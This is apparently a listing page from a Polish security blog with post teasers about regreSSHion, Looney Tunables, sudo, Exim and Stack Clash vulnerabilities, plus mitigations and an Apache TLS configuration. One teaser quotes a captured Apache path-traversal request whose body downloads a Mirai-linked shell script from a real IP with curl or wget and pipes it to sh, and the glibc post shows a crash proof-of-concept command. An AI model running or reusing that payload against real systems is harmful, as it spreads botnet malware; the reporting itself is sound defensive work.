J

ednostka badawcza firmy Qualys (ang. Qualys Threat Research Unit – TRU) opublikowała szczegóły krytycznej luki w kodzie OpenSSH (sshd) umożliwiającej zdalne wykonanie kodu bez uwierzytelniania w systemach Linux opartych na glibc. CVE powiązane z tą luką to CVE-2006-5051 i CVE-2024-6387. Powodem zastosowania dwóch numerów CVE w tym wykorzystania tego z 2006 roku jest regresja, czyli powrót starego błędu. Niestety zdarza się to dość regularnie (nie w przypadku OpenSSH, ale ogólnie różnego rodzaju oprogramowania), że programiści nie dodają testów, aby upewniać się, że luki odkryte wcześniej w cyklu życia programu są pokryte łatami w przyszłych wersjach. Wersje OpenSSH starsze niż 4.4p1 są podatne na CVE-2006-5051 oraz CVE-2008-4109, z kolei OpenSSH w wersji 8.5p1 (tutaj w październiku 2020 pojawiła się regresja) do 9.8p1 (ale nie włącznie – to jest wersja poprawiona) są podatne na CVE-2024-6387 z powodu przypadkowego usunięcia krytycznego komponentu w funkcji. Ten błąd nie dotyczy systemów OpenBSD, ponieważ w 2001 roku OpenBSD opracowało bezpieczny mechanizm, który zapobiega tej luce.

Należy jednak pamiętać, że wiele dystrybucji Linuksa nie większy numerów wersji, jeśli naniosą łatkę na aktualnie używany pakiet – tylko podniesie swój wewnętrzny patchset np. z 8.9p1-3ubuntu0.7 do 8.9p1-3ubuntu0.10. Jakie dystrybucje są podatne?

• RedHat Enterprise 9
• Fedora Linux od 34 do 40
• Debian 12 (Bookworm)
• Ubuntu 22.04, 23.10, 24.04
• openSUSE Leap 15.6, Tumbleweed
• Alpine Linux od 3.14 do 3.20
• Arch Linux

Warto zaznaczyć, że luka ta opiera się na wygraniu wyścigu, czyli występuje tutaj problem z synchronizacją czasową wielu operacji, a samo wykorzystanie luki nie jest łatwe do odtworzenia – autorzy luki musieli wykonać około 10.000 prób na platformie x86 (32-bitowej), gdzie większość systemów Linux działa obecnie na architekturach 64-bitowych i ich eksploitacja wydaje się obecnie niepraktyczna. Luka może mieć jednak znaczenie w przypadku starszych systemów IoT, szczególnie jeśli nie są już dla nich dostępne poprawki bezpieczeństwa.

Mitygacja zagrożenia:

Proces sshd można chronić przed tym atakiem ustawiając odpowiedni parametr LoginGraceTime. Serwer OpenSSH nadal będzie podatny na ataki typu DoS (ang. Denial of Service), poprzez wyczerpanie wszystkich połączeń przez osobę atakującą, ale nie pozwoli na zdalne wykonanie kodu. Jako użytkownik root powinniśmy edytować plik /etc/sshd_config oraz dodać lub edytować wspomnianą opcję ustawiając jej wartość na zero:

LoginGraceTime 0

Po zapisaniu pliku należy zrestartować serwer OpenSSH:

systemctl restart sshd.service || /etc/init.d/sshd restart

Powyższe ustawienie wyłącza zdolność serwera sshd do zrywania połączeń, jeśli uwierzytelnianie nie zostanie zakończone w określonym czasie. Dlatego może to prowadzić do skutecznych ataków typu odmowa usługi (DoS). Jeśli zdecydowaliśmy się na to rozwiązanie to najlepiej połączyć je z narzędziem typu fail2ban lub zaporą ogniową *tables (a nawet techniką pukania w porty) w celu monitorowania logów i odpowiedniego limitowania połączeń na port SSH.

W

sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https

X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep

Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
[ czytaj całość… ]

N

iedawno firma Qualys odkryła i zgłosiła krytyczny błąd w popularnym ekosystemie bibliotek GLIBC, który jest domyślnie instalowany w większości systemów operacyjnych opartych na Linuksie. Wspomniany błąd polega na przepełnieniu bufora w kodzie odpowiedzialnym za obsługę specjalnych zmiennych środowiskowych podczas uruchamiania procesu, co może skutkować lokalną eskalacją uprawnień. Luce przypisano CVE-2023-4911 z oceną 7,8 co daje jej wysoki poziom podatności (w przypadku wykorzystania atakujący może uzyskać uprawnienia administratora w systemie). Opublikowano już kilka wersji testowych eksploitów dla tego błędu – PoC1, PoC2, PoC3, PoC4. Przykłady te pokazują, że sama eksploatacja jest dość prosta i nawet przy zastosowaniu siłowego zgadywania adresu pamięci (ze względu na ASLR) eskalacja może nastąpić w czasie krótszym niż 5 minut.

GLIBC jest domyślnie instalowany w wielu popularnych dystrybucjach Linuksa: Ubuntu, Debian, Fedora, RedHat. Zawiera dynamiczny linker ładujący (ld.so), czyli fragment oprogramowania odpowiedzialny za ładowanie wszystkich obiektów współdzielonych potrzebnych do uruchomienia programu. Jego zadania można opisać w kilku punktach: uruchamianie pliku binarnego; ładowanie bibliotek współdzielonych; obsługa zmiennych LD_PRELOAD i LD_LIBRARY_PATH; zarządzanie pamięcią i mapowanie pliku binarnego w pamięci. Luka znaleziona przez badaczy z Qualys ma miejsce podczas inicjalizacji dynamicznego linkera, a konkretnie podczas obsługi zmiennej środowiskowej GLIBC_TUNABLES. Zmienna ta pozwala na dostosowanie zachowania GLIBC podczas kolejnych zdarzeń. Listę dostępnych opcji dostrajania można uzyskać, uruchamiając następujące polecenie:

/lib64/ld-linux-x86-64.so.2 --list-tunables

Opcje dostrajające muszą zostać dostarczone do docelowego pliku binarnego jako lista oddzielonych od siebie dwukropkami par wartość=klucz ( “tunable1=aaa:tunable2=bbb”). Wspomniany linker jest odpowiedzialny za analizowanie i ostateczne usuwanie wrażliwych na bezpieczeństwo opcji dostrajania ze zmiennych środowiskowych. Co dokładnie się dzieje podczas tego procesu? Otóż funkcja __tunables_init (w której prowadzono błąd) przegląda zmienne środowiskowe i wyszukuje tej o nazwie: GLIBC_TUNABLES. Po jej znalezieniu wywołuje inną funkcję o nazwie tunables_strdup w celu utworzenia kopii zmiennej i rozpoczęcia jej przetwarzania. Ze względu na fakt, że GLIBC nie jest jeszcze zainicjowany ostatnia funkcja używa pod maską __minimal_malloc, która wywołuje mmap w celu zażądania pamięci od jądra systemu. Powoduje to alokację pamięci z pamięci wirtualnej zamiast ze sterty.

Możliwość przepełnienie bufora w tym procesie jest możliwa ze względu na sposób analizowania argumentów. Jeśli opcja dostrajająca będzie miała format: “tunable1=tunable2=bbb” zostanie ona potraktowana na początku jako: tunable1=”tunable2=bbb”, a później jako: “tunable2=bbb”. Spowoduje to skopiowanie większej ilości danych do przydzielonego bufora, niż jest to dozwolone. Chociaż luka ta została wykryta podczas przeglądu kodu źródłowego, badacze z Qualys poddali również testowanie tej logiki za pomocą fuzzingu i z pomocą programu AFL++ oraz libFuzzer powtórzyli ten błąd w mniej niż sekundę (przekazali tylko do programów listę opcji dostrajających z powyższego polecenia). PoC testujący podatność:

agresor@darkstar:~$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" \
"Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

Wykorzystanie luki polega na utworzeniu ładunku (ang. payload) modyfikującego wskaźnik l_info[DT_RPATH] (ścieżka wyszukiwania bibliotek), co może zmusić ld.so do załadowania obiektów współdzielonych z niezaufanych katalogów i wykonania dowolnego kodu (jako root, jeśli uruchomimy program z bitem SUID). Błąd udało wykorzystać się w domyślnych instalacjach Fedory 37 i 38, Ubuntu 22.04 i 23.04, Debianie 12 i 13; inne dystrybucje prawdopodobnie też są podatne na ataki (jedynym godnym uwagi wyjątkiem jest Alpine Linux, który używa musl libc, a nie glibc).

Więcej informacji: CVE-2023-4911, Detecting and mitigating CVE-2023-4911, Exploiting the Looney Tunables vulnerability on HTB, Looney Tunables – Local Privilege Escalation in the glibc’s ld.so

Zespół badawczy Qualys odkrył lukę przepełnienia sterty w sudo – prawie wszechobecnym narzędziu dostępnym w głównych systemach operacyjnych typu *nix. Każdy nieuprzywilejowany użytkownik posiadający dostęp do powłoki systemowej może uzyskać uprawnienia administratora (root) na hoście, którego dotyczy luka (przy domyślnej konfiguracji sudo). Sudo to potężne narzędzie, które jest zawarte w większości, jeśli nie we wszystkich systemach operacyjnych na systemach Unix i Linux. Umożliwia użytkownikom uruchamianie programów z uprawnieniami innego użytkownika. Luka sama w sobie ukrywała się na widoku prawie od 10 lat. W lipcu 2011 roku została wprowadzona zmiana (commit 8255ed69) i dotyczy ona wszystkich starszych wersji od 1.8.2 do 1.8.31p2 oraz wszystkich stabilnych wersji od 1.9.0 do 1.9.5p1 w ich domyślnej konfiguracji.
[ czytaj całość… ]

K

rytyczna luka bezpieczeństwa została wykryta przez badaczy z Qualys i występuje w kilku wersjach oprogramowania agenta pocztowego Exim (ang. Mail Transfer Agent). Umożliwia ona na lokalne oraz zdalne ataki nieuwierzytelnionym użytkownikom za pomocą wykonywania dowolnych poleceń (nie mylić z dowolnym wykonywaniem kodu) na serwerach pocztowych. Luka jest obecna w wersji od 4.87 do 4.91 i jest spowodowana niewłaściwą weryfikacją adresów odbiorców w funkcji deliver_message() (źródło znajduje się w pliku: /src/deliver.c):
[ czytaj całość… ]

P

oniższa konfiguracja (podobnie, jak w przypadku nginx) serwera Apache dla komunikacji po https pozwala na uzyskanie oceny A+ w teście przeprowadzanym przez firmę Qualys SSL Labs. Innymi mechanizmami, które zostały zwarte to: HSTS, DNS CAA, OSCP oraz HTTP2. Stosując poniższą konfigurację należy liczyć się, że może ona nie działać (lub niektóre jej funkcjonalności) z starszymi przeglądarkami i aplikacjami typu Java.

  Protocols http/1.1 h2

  SSLEngine on
  SSLCompression off
  SSLSessionTickets off
  SSLUseStapling on

  SSLCertificateFile /etc/apache2/ssl/root.pem
  SSLCertificateKeyFile /etc/apache2/ssl/server.key
  SSLCertificateChainFile /etc/apache2/ssl/root.pem

  SSLProtocol -All +TLSv1.2
  SSLHonorCipherOrder on
  SSLCipherSuite "HIGH:!aNULL:!MD5:!3DES:!CAMELLIA:!AES128:!AES256-SHA:\
                  !AES256-SHA256:!AES256-GCM-SHA384:!AES256-CCM8:!AES256-CCM:\
                  !DHE-DSS-AES256-SHA:!SRP-DSS-AES-256-CBC-SHA"

  SSLOpenSSLConfCmd DHParameters "/etc/ssl/certs/dhparams4096.pem"
  SSLOpenSSLConfCmd ECDHParameters secp384r1
  SSLOpenSSLConfCmd Curves secp521r1:secp384r1

  Header always append Strict-Transport-Security "max-age=31536000;"

Plik dhparams4096.pem wygenerujemy poleceniem (może to zająć nawet kilkanaście minut):

openssl dhparam -out /etc/ssl/certs/dhparams4096.pem 4096

[ czytaj całość… ]

J

eśli interesują nas wcześniejsze dwie części to znajdziemy je tu (1) i tu (2). Przejdźmy teraz do kolejnej części. W ciągu ostatnich lat bezpieczeństwo webaplikacji stało się bardzo ważnym tematem w dziedzinie IT. Zalety, jakie oferuje sieć sprawiły, że bardzo ważne usługi zostają opracowane jako aplikacje internetowe. Wymagania biznesowe związane z bezpieczeństwem wspomnianych aplikacji również uległy przemianie. Oprócz dobrych praktyk programistycznych wymagane są też dobre praktyki bezpieczeństwa. Stosowane są dodatkowe zabezpieczenia takie, jak WAF (ang. Web Application Firewall). Zapory sieciowe aplikacji to transparentne zapory ogniowe warstwy siódmej, które kontrolują ruch sieciowy i “próbują” chronić aplikację przed atakami.
[ czytaj całość… ]

Błąd w jądrze Linuksa, który został odkryty dwa lata temu, ale nie był uważany za zagrożenie dla bezpieczeństwa w tym czasie, został właśnie uznany za lukę umożliwiającą eskalację uprawnień na poziomie lokalnym. Błąd ten został zidentyfikowany jako CVE-2017-1000253 i pierwotnie został odkryty przez badacza pracującego dla Google Michaela Davidsona w kwietniu 2015 roku. Z powodu zignorowania powagi tego błędu – poprawka dla niego nie została przekazana do długoterminowo wspieranej wersji jądra 3.10.77 (warto wspomnieć, że wersje LTS właśnie przeszły z cyklu 2 letniego, na 6 letni).
[ czytaj całość… ]

Czym jest Stack Clash? Jest to eksploatacja błędu w zarządzaniu pamięci oparta na dość starej (12 letniej) technice. Dotyka ona kilku systemów operacyjnych: Linuksa, OpenBSD, NetBSD, FreeBSD oraz Solarisa dla architektury i386 oraz amd64. Technika ta może zostać wykorzystana przez atakujących do naruszenia bezpieczeństwa pamięci oraz wykonania dowolnego kodu. Polega ona na pewnej zależności: każdy program uruchomiony na komputerze używa specjalnego obszaru pamięci zwanego stosem (ang. stack). Obszar tej pamięci jest szczególny, ponieważ rośnie automatycznie wraz z zapotrzebowaniem na niego przez program. Jeśli jednak przyrost jest zbyt duży i zbliży się do innego obszaru pamięci (na przykład sterty – ang. heap) może dojść do sytuacji, w której program może pomylić stos z innym obszarem pamięci. Daje to możliwość wykorzystania owego zamieszania do nadpisania stosu przez inny obszary pamięci lub odwrotnie.
[ czytaj całość… ]

W

programie sudo wykryto poważną lukę w kodzie, która umożliwia uzyskanie uprawnień administratora przez każdego użytkownika posiadającego dostęp do powłoki shell. Działa ona również na systemach z włączoną obsługą SELinux (CentOS / RHEL). Wystarczy, że lokalny użytkownik posiada w systemie uprawnienia do uruchomienia dowolnego polecenia za pośrednictwem sudo. Daje mu to możliwość eskalacji swoich uprawnienia do poziomu administratora.
[ czytaj całość… ]